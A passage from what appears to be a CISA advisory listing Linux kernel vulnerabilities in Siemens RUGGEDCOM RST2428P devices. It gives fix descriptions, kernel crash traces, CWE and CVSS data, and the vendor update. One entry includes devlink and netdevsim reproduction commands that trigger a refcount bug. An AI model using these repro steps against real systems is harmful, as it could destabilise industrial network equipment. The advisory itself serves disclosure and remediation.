non-canonical address 0xe277a58fde16f291: 0000 [#1] SMP NOPTI RIP: 0010:free_irq_cpu_rmap+0x23/0x7d Call Trace: ? show_trace_log_lvl+0x1d6/0x2f9 ? show_trace_log_lvl+0x1d6/0x2f9 ? mlx5_irq_alloc.cold+0x5d/0xf3 [mlx5_core] ? __die_body.cold+0x8/0xa ? die_addr+0x39/0x53 ? exc_general_protection+0x1c4/0x3e9 ? dev_vprintk_emit+0x5f/0x90 ? asm_exc_general_protection+0x22/0x27 ? free_irq_cpu_rmap+0x23/0x7d mlx5_irq_alloc.cold+0x5d/0xf3 [mlx5_core] irq_pool_request_vector+0x7d/0x90 [mlx5_core] mlx5_irq_request+0x2e/0xe0 [mlx5_core] mlx5_irq_request_vector+0xad/0xf7 [mlx5_core] comp_irq_request_pci+0x64/0xf0 [mlx5_core] create_comp_eq+0x71/0x385 [mlx5_core] ? mlx5e_open_xdpsq+0x11c/0x230 [mlx5_core] mlx5_comp_eqn_get+0x72/0x90 [mlx5_core] ? xas_load+0x8/0x91 mlx5_comp_irqn_get+0x40/0x90 [mlx5_core] mlx5e_open_channel+0x7d/0x3c7 [mlx5_core] mlx5e_open_channels+0xad/0x250 [mlx5_core] mlx5e_open_locked+0x3e/0x110 [mlx5_core] mlx5e_open+0x23/0x70 [mlx5_core] __dev_open+0xf1/0x1a5 __dev_change_flags+0x1e1/0x249 dev_change_flags+0x21/0x5c do_setlink+0x28b/0xcc4 ? __nla_parse+0x22/0x3d ? inet6_validate_link_af+0x6b/0x108 ? cpumask_next+0x1f/0x35 ? __snmp6_fill_stats64.constprop.0+0x66/0x107 ? __nla_validate_parse+0x48/0x1e6 __rtnl_newlink+0x5ff/0xa57 ? kmem_cache_alloc_trace+0x164/0x2ce rtnl_newlink+0x44/0x6e rtnetlink_rcv_msg+0x2bb/0x362 ? __netlink_sendskb+0x4c/0x6c ? netlink_unicast+0x28f/0x2ce ? rtnl_calcit.isra.0+0x150/0x146 netlink_rcv_skb+0x5f/0x112 netlink_unicast+0x213/0x2ce netlink_sendmsg+0x24f/0x4d9 __sock_sendmsg+0x65/0x6a ____sys_sendmsg+0x28f/0x2c9 ? import_iovec+0x17/0x2b ___sys_sendmsg+0x97/0xe0 __sys_sendmsg+0x81/0xd8 do_syscall_64+0x35/0x87 entry_SYSCALL_64_after_hwframe+0x6e/0x0 RIP: 0033:0x7fc328603727 Code: c3 66 90 41 54 41 89 d4 55 48 89 f5 53 89 fb 48 83 ec 10 e8 0b ed ff ff 44 89 e2 48 89 ee 89 df 41 89 c0 b8 2e 00 00 00 0f 05 &lt;48&gt; 3d 00 f0 ff ff 77 35 44 89 c7 48 89 44 24 08 e8 44 ed ff ff 48 RSP: 002b:00007ffe8eb3f1a0 EFLAGS: 00000293 ORIG_RAX: 000000000000002e RAX: ffffffffffffffda RBX: 000000000000000d RCX: 00007fc328603727 RDX: 0000000000000000 RSI: 00007ffe8eb3f1f0 RDI: 000000000000000d RBP: 00007ffe8eb3f1f0 R08: 0000000000000000 R09: 0000000000000000 R10: 0000000000000000 R11: 0000000000000293 R12: 0000000000000000 R13: 00000000000 ---truncated---</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-40250">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-40251</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: devlink: rate: Unset parent pointer in devl_rate_nodes_destroy The function devl_rate_nodes_destroy is documented to "Unset parent for all rate objects". However, it was only calling the driver-specific `rate_leaf_parent_set` or `rate_node_parent_set` ops and decrementing the parent's refcount, without actually setting the `devlink_rate-&gt;parent` pointer to NULL. This leaves a dangling pointer in the `devlink_rate` struct, which cause refcount error in netdevsim[1] and mlx5[2]. In addition, this is inconsistent with the behavior of `devlink_nl_rate_parent_node_set`, where the parent pointer is correctly cleared. This patch fixes the issue by explicitly setting `devlink_rate-&gt;parent` to NULL after notifying the driver, thus fulfilling the function's documented behavior for all rate objects. [1] repro steps: echo 1 &gt; /sys/bus/netdevsim/new_device devlink dev eswitch set netdevsim/netdevsim1 mode switchdev echo 1 &gt; /sys/bus/netdevsim/devices/netdevsim1/sriov_numvfs devlink port function rate add netdevsim/netdevsim1/test_node devlink port function rate set netdevsim/netdevsim1/128 parent test_node echo 1 &gt; /sys/bus/netdevsim/del_device dmesg: refcount_t: decrement hit 0; leaking memory. WARNING: CPU: 8 PID: 1530 at lib/refcount.c:31 refcount_warn_saturate+0x42/0xe0 CPU: 8 UID: 0 PID: 1530 Comm: bash Not tainted 6.18.0-rc4+ #1 NONE Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS rel-1.16.0-0-gd239552ce722-prebuilt.qemu.org 04/01/2014 RIP: 0010:refcount_warn_saturate+0x42/0xe0 Call Trace: devl_rate_leaf_destroy+0x8d/0x90 __nsim_dev_port_del+0x6c/0x70 [netdevsim] nsim_dev_reload_destroy+0x11c/0x140 [netdevsim] nsim_drv_remove+0x2b/0xb0 [netdevsim] device_release_driver_internal+0x194/0x1f0 bus_remove_device+0xc6/0x130 device_del+0x159/0x3c0 device_unregister+0x1a/0x60 del_device_store+0x111/0x170 [netdevsim] kernfs_fop_write_iter+0x12e/0x1e0 vfs_write+0x215/0x3d0 ksys_write+0x5f/0xd0 do_syscall_64+0x55/0x10f0 entry_SYSCALL_64_after_hwframe+0x4b/0x53 [2] devlink dev eswitch set pci/0000:08:00.0 mode switchdev devlink port add pci/0000:08:00.0 flavour pcisf pfnum 0 sfnum 1000 devlink port function rate add pci/0000:08:00.0/group1 devlink port function rate set pci/0000:08:00.0/32768 parent group1 modprobe -r mlx5_ib mlx5_fwctl mlx5_core dmesg: refcount_t: decrement hit 0; leaking memory. WARNING: CPU: 7 PID: 16151 at lib/refcount.c:31 refcount_warn_saturate+0x42/0xe0 CPU: 7 UID: 0 PID: 16151 Comm: bash Not tainted 6.17.0-rc7_for_upstream_min_debug_2025_10_02_12_44 #1 NONE Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS rel-1.16.3-0-ga6ed6b701f0a-prebuilt.qemu.org 04/01/2014 RIP: 0010:refcount_warn_saturate+0x42/0xe0 Call Trace: devl_rate_leaf_destroy+0x8d/0x90 mlx5_esw_offloads_devlink_port_unregister+0x33/0x60 [mlx5_core] mlx5_esw_offloads_unload_rep+0x3f/0x50 [mlx5_core] mlx5_eswitch_unload_sf_vport+0x40/0x90 [mlx5_core] mlx5_sf_esw_event+0xc4/0x120 [mlx5_core] notifier_call_chain+0x33/0xa0 blocking_notifier_call_chain+0x3b/0x50 mlx5_eswitch_disable_locked+0x50/0x110 [mlx5_core] mlx5_eswitch_disable+0x63/0x90 [mlx5_core] mlx5_unload+0x1d/0x170 [mlx5_core] mlx5_uninit_one+0xa2/0x130 [mlx5_core] remove_one+0x78/0xd0 [mlx5_core] pci_device_remove+0x39/0xa0 device_release_driver_internal+0x194/0x1f0 unbind_store+0x99/0xa0 kernfs_fop_write_iter+0x12e/0x1e0 vfs_write+0x215/0x3d0 ksys_write+0x5f/0xd0 do_syscall_64+0x53/0x1f0 entry_SYSCALL_64_after_hwframe+0x4b/0x53</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-40251">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/911.html">CWE-911 Improper Update of Reference Count</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.1</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-40252</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: qlogic/qede: fix potential out-of-bounds read in qede_tpa_cont() and qede_tpa_end() The loops in 'qede_tpa_cont()' and 'qede_tpa_end()', iterate over 'cqe-&gt;len_list[]' using only a zero-length terminator as the stopping condition. If the terminator was missing or malformed, the loop could run past the end of the fixed-size array. Add an explicit bound check using ARRAY_SIZE() in both loops to prevent a potential out-of-bounds access. Found by Linux Verification Center (linuxtesting.org) with SVACE.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-40252">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-40254</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: openvswitch: remove never-working support for setting nsh fields The validation of the set(nsh(...)) action is completely wrong. It runs through the nsh_key_put_from_nlattr() function that is the same function that validates NSH keys for the flow match and the push_nsh() action. However, the set(nsh(...)) has a very different memory layout. Nested attributes in there are doubled in size in case of the masked set(). That makes proper validation impossible. There is also confusion in the code between the 'masked' flag, that says that the nested attributes are doubled in size containing both the value and the mask, and the 'is_mask' that says that the value we're parsing is the mask. This is causing kernel crash on trying to write into mask part of the match with SW_FLOW_KEY_PUT() during validation, while validate_nsh() doesn't allocate any memory for it: BUG: kernel NULL pointer dereference, address: 0000000000000018 #PF: supervisor read access in kernel mode #PF: error_code(0x0000) - not-present page PGD 1c2383067 P4D 1c2383067 PUD 20b703067 PMD 0 Oops: Oops: 0000 [#1] SMP NOPTI CPU: 8 UID: 0 Kdump: loaded Not tainted 6.17.0-rc4+ #107 PREEMPT(voluntary) RIP: 0010:nsh_key_put_from_nlattr+0x19d/0x610 [openvswitch] Call Trace: validate_nsh+0x60/0x90 [openvswitch] validate_set.constprop.0+0x270/0x3c0 [openvswitch] __ovs_nla_copy_actions+0x477/0x860 [openvswitch] ovs_nla_copy_actions+0x8d/0x100 [openvswitch] ovs_packet_cmd_execute+0x1cc/0x310 [openvswitch] genl_family_rcv_msg_doit+0xdb/0x130 genl_family_rcv_msg+0x14b/0x220 genl_rcv_msg+0x47/0xa0 netlink_rcv_skb+0x53/0x100 genl_rcv+0x24/0x40 netlink_unicast+0x280/0x3b0 netlink_sendmsg+0x1f7/0x430 ____sys_sendmsg+0x36b/0x3a0 ___sys_sendmsg+0x87/0xd0 __sys_sendmsg+0x6d/0xd0 do_syscall_64+0x7b/0x2c0 entry_SYSCALL_64_after_hwframe+0x76/0x7e The third issue with this process is that while trying to convert the non-masked set into masked one, validate_set() copies and doubles the size of the OVS_KEY_ATTR_NSH as if it didn't have any nested attributes. It should be copying each nested attribute and doubling them in size independently. And the process must be properly reversed during the conversion back from masked to a non-masked variant during the flow dump. In the end, the only two outcomes of trying to use this action are either validation failure or a kernel crash. And if somehow someone manages to install a flow with such an action, it will most definitely not do what it is supposed to, since all the keys and the masks are mixed up. Fixing all the issues is a complex task as it requires re-writing most of the validation code. Given that and the fact that this functionality never worked since introduction, let's just remove it altogether. It's better to re-introduce it later with a proper implementation instead of trying to fix it in stable releases.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-40254">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-40257</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: mptcp: fix a race in mptcp_pm_del_add_timer() mptcp_pm_del_add_timer() can call sk_stop_timer_sync(sk, &amp;entry-&gt;add_timer) while another might have free entry already, as reported by syzbot. Add RCU protection to fix this issue. Also change confusing add_timer variable with stop_timer boolean. syzbot report: BUG: KASAN: slab-use-after-free in __timer_delete_sync+0x372/0x3f0 kernel/time/timer.c:1616 Read of size 4 at addr ffff8880311e4150 by task kworker/1:1/44 CPU: 1 UID: 0 PID: 44 Comm: kworker/1:1 Not tainted syzkaller #0 PREEMPT_{RT,(full)} Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 10/02/2025 Workqueue: events mptcp_worker Call Trace: dump_stack_lvl+0x189/0x250 lib/dump_stack.c:120 print_address_description mm/kasan/report.c:378 [inline] print_report+0xca/0x240 mm/kasan/report.c:482 kasan_report+0x118/0x150 mm/kasan/report.c:595 __timer_delete_sync+0x372/0x3f0 kernel/time/timer.c:1616 sk_stop_timer_sync+0x1b/0x90 net/core/sock.c:3631 mptcp_pm_del_add_timer+0x283/0x310 net/mptcp/pm.c:362 mptcp_incoming_options+0x1357/0x1f60 net/mptcp/options.c:1174 tcp_data_queue+0xca/0x6450 net/ipv4/tcp_input.c:5361 tcp_rcv_established+0x1335/0x2670 net/ipv4/tcp_input.c:6441 tcp_v4_do_rcv+0x98b/0xbf0 net/ipv4/tcp_ipv4.c:1931 tcp_v4_rcv+0x252a/0x2dc0 net/ipv4/tcp_ipv4.c:2374 ip_protocol_deliver_rcu+0x221/0x440 net/ipv4/ip_input.c:205 ip_local_deliver_finish+0x3bb/0x6f0 net/ipv4/ip_input.c:239 NF_HOOK+0x30c/0x3a0 include/linux/netfilter.h:318 NF_HOOK+0x30c/0x3a0 include/linux/netfilter.h:318 __netif_receive_skb_one_core net/core/dev.c:6079 [inline] __netif_receive_skb+0x143/0x380 net/core/dev.c:6192 process_backlog+0x31e/0x900 net/core/dev.c:6544 __napi_poll+0xb6/0x540 net/core/dev.c:7594 napi_poll net/core/dev.c:7657 [inline] net_rx_action+0x5f7/0xda0 net/core/dev.c:7784 handle_softirqs+0x22f/0x710 kernel/softirq.c:622 __do_softirq kernel/softirq.c:656 [inline] __local_bh_enable_ip+0x1a0/0x2e0 kernel/softirq.c:302 mptcp_pm_send_ack net/mptcp/pm.c:210 [inline] mptcp_pm_addr_send_ack+0x41f/0x500 net/mptcp/pm.c:-1 mptcp_pm_worker+0x174/0x320 net/mptcp/pm.c:1002 mptcp_worker+0xd5/0x1170 net/mptcp/protocol.c:2762 process_one_work kernel/workqueue.c:3263 [inline] process_scheduled_works+0xae1/0x17b0 kernel/workqueue.c:3346 worker_thread+0x8a0/0xda0 kernel/workqueue.c:3427 kthread+0x711/0x8a0 kernel/kthread.c:463 ret_from_fork+0x4bc/0x870 arch/x86/kernel/process.c:158 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245 Allocated by task 44: kasan_save_stack mm/kasan/common.c:56 [inline] kasan_save_track+0x3e/0x80 mm/kasan/common.c:77 poison_kmalloc_redzone mm/kasan/common.c:400 [inline] __kasan_kmalloc+0x93/0xb0 mm/kasan/common.c:417 kasan_kmalloc include/linux/kasan.h:262 [inline] __kmalloc_cache_noprof+0x1ef/0x6c0 mm/slub.c:5748 kmalloc_noprof include/linux/slab.h:957 [inline] mptcp_pm_alloc_anno_list+0x104/0x460 net/mptcp/pm.c:385 mptcp_pm_create_subflow_or_signal_addr+0xf9d/0x1360 net/mptcp/pm_kernel.c:355 mptcp_pm_nl_fully_established net/mptcp/pm_kernel.c:409 [inline] __mptcp_pm_kernel_worker+0x417/0x1ef0 net/mptcp/pm_kernel.c:1529 mptcp_pm_worker+0x1ee/0x320 net/mptcp/pm.c:1008 mptcp_worker+0xd5/0x1170 net/mptcp/protocol.c:2762 process_one_work kernel/workqueue.c:3263 [inline] process_scheduled_works+0xae1/0x17b0 kernel/workqueue.c:3346 worker_thread+0x8a0/0xda0 kernel/workqueue.c:3427 kthread+0x711/0x8a0 kernel/kthread.c:463 ret_from_fork+0x4bc/0x870 arch/x86/kernel/process.c:158 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245 Freed by task 6630: kasan_save_stack mm/kasan/common.c:56 [inline] kasan_save_track+0x3e/0x80 mm/kasan/common.c:77 __kasan_save_free_info+0x46/0x50 mm/kasan/generic.c:587 kasan_save_free_info mm/kasan/kasan.h:406 [inline] poison_slab_object m ---truncated---</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-40257">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-40258</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: mptcp: fix race condition in mptcp_schedule_work() syzbot reported use-after-free in mptcp_schedule_work() [1] Issue here is that mptcp_schedule_work() schedules a work, then gets a refcount on sk-&gt;sk_refcnt if the work was scheduled. This refcount will be released by mptcp_worker(). [A] if (schedule_work(...)) { [B] sock_hold(sk); return true; } Problem is that mptcp_worker() can run immediately and complete before [B] We need instead : sock_hold(sk); if (schedule_work(...)) return true; sock_put(sk); [1] refcount_t: addition on 0; use-after-free. WARNING: CPU: 1 PID: 29 at lib/refcount.c:25 refcount_warn_saturate+0xfa/0x1d0 lib/refcount.c:25 Call Trace: __refcount_add include/linux/refcount.h:-1 [inline] __refcount_inc include/linux/refcount.h:366 [inline] refcount_inc include/linux/refcount.h:383 [inline] sock_hold include/net/sock.h:816 [inline] mptcp_schedule_work+0x164/0x1a0 net/mptcp/protocol.c:943 mptcp_tout_timer+0x21/0xa0 net/mptcp/protocol.c:2316 call_timer_fn+0x17e/0x5f0 kernel/time/timer.c:1747 expire_timers kernel/time/timer.c:1798 [inline] __run_timers kernel/time/timer.c:2372 [inline] __run_timer_base+0x648/0x970 kernel/time/timer.c:2384 run_timer_base kernel/time/timer.c:2393 [inline] run_timer_softirq+0xb7/0x180 kernel/time/timer.c:2403 handle_softirqs+0x22f/0x710 kernel/softirq.c:622 __do_softirq kernel/softirq.c:656 [inline] run_ktimerd+0xcf/0x190 kernel/softirq.c:1138 smpboot_thread_fn+0x542/0xa60 kernel/smpboot.c:160 kthread+0x711/0x8a0 kernel/kthread.c:463 ret_from_fork+0x4bc/0x870 arch/x86/kernel/process.c:158 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-40258">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/362.html">CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-40261</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: nvme: nvme-fc: Ensure -&gt;ioerr_work is cancelled in nvme_fc_delete_ctrl() nvme_fc_delete_assocation() waits for pending I/O to complete before returning, and an error can cause -&gt;ioerr_work to be queued after cancel_work_sync() had been called. Move the call to cancel_work_sync() to be after nvme_fc_delete_association() to ensure -&gt;ioerr_work is not running when the nvme_fc_ctrl object is freed. Otherwise the following can occur: [ 1135.911754] list_del corruption, ff2d24c8093f31f8-&gt;next is NULL [ 1135.917705] ------------[ cut here ]------------ [ 1135.922336] kernel BUG at lib/list_debug.c:52! [ 1135.926784] Oops: invalid opcode: 0000 [#1] SMP NOPTI [ 1135.931851] CPU: 48 UID: 0 PID: 726 Comm: kworker/u449:23 Kdump: loaded Not tainted 6.12.0 #1 PREEMPT(voluntary) [ 1135.943490] Hardware name: Dell Inc. PowerEdge R660/0HGTK9, BIOS 2.5.4 01/16/2025 [ 1135.950969] Workqueue: 0x0 (nvme-wq) [ 1135.954673] RIP: 0010:__list_del_entry_valid_or_report.cold+0xf/0x6f [ 1135.961041] Code: c7 c7 98 68 72 94 e8 26 45 fe ff 0f 0b 48 c7 c7 70 68 72 94 e8 18 45 fe ff 0f 0b 48 89 fe 48 c7 c7 80 69 72 94 e8 07 45 fe ff &lt;0f&gt; 0b 48 89 d1 48 c7 c7 a0 6a 72 94 48 89 c2 e8 f3 44 fe ff 0f 0b [ 1135.979788] RSP: 0018:ff579b19482d3e50 EFLAGS: 00010046 [ 1135.985015] RAX: 0000000000000033 RBX: ff2d24c8093f31f0 RCX: 0000000000000000 [ 1135.992148] RDX: 0000000000000000 RSI: ff2d24d6bfa1d0c0 RDI: ff2d24d6bfa1d0c0 [ 1135.999278] RBP: ff2d24c8093f31f8 R08: 0000000000000000 R09: ffffffff951e2b08 [ 1136.006413] R10: ffffffff95122ac8 R11: 0000000000000003 R12: ff2d24c78697c100 [ 1136.013546] R13: fffffffffffffff8 R14: 0000000000000000 R15: ff2d24c78697c0c0 [ 1136.020677] FS: 0000000000000000(0000) GS:ff2d24d6bfa00000(0000) knlGS:0000000000000000 [ 1136.028765] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 1136.034510] CR2: 00007fd207f90b80 CR3: 000000163ea22003 CR4: 0000000000f73ef0 [ 1136.041641] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 [ 1136.048776] DR3: 0000000000000000 DR6: 00000000fffe07f0 DR7: 0000000000000400 [ 1136.055910] PKRU: 55555554 [ 1136.058623] Call Trace: [ 1136.061074] [ 1136.063179] ? show_trace_log_lvl+0x1b0/0x2f0 [ 1136.067540] ? show_trace_log_lvl+0x1b0/0x2f0 [ 1136.071898] ? move_linked_works+0x4a/0xa0 [ 1136.075998] ? __list_del_entry_valid_or_report.cold+0xf/0x6f [ 1136.081744] ? __die_body.cold+0x8/0x12 [ 1136.085584] ? die+0x2e/0x50 [ 1136.088469] ? do_trap+0xca/0x110 [ 1136.091789] ? do_error_trap+0x65/0x80 [ 1136.095543] ? __list_del_entry_valid_or_report.cold+0xf/0x6f [ 1136.101289] ? exc_invalid_op+0x50/0x70 [ 1136.105127] ? __list_del_entry_valid_or_report.cold+0xf/0x6f [ 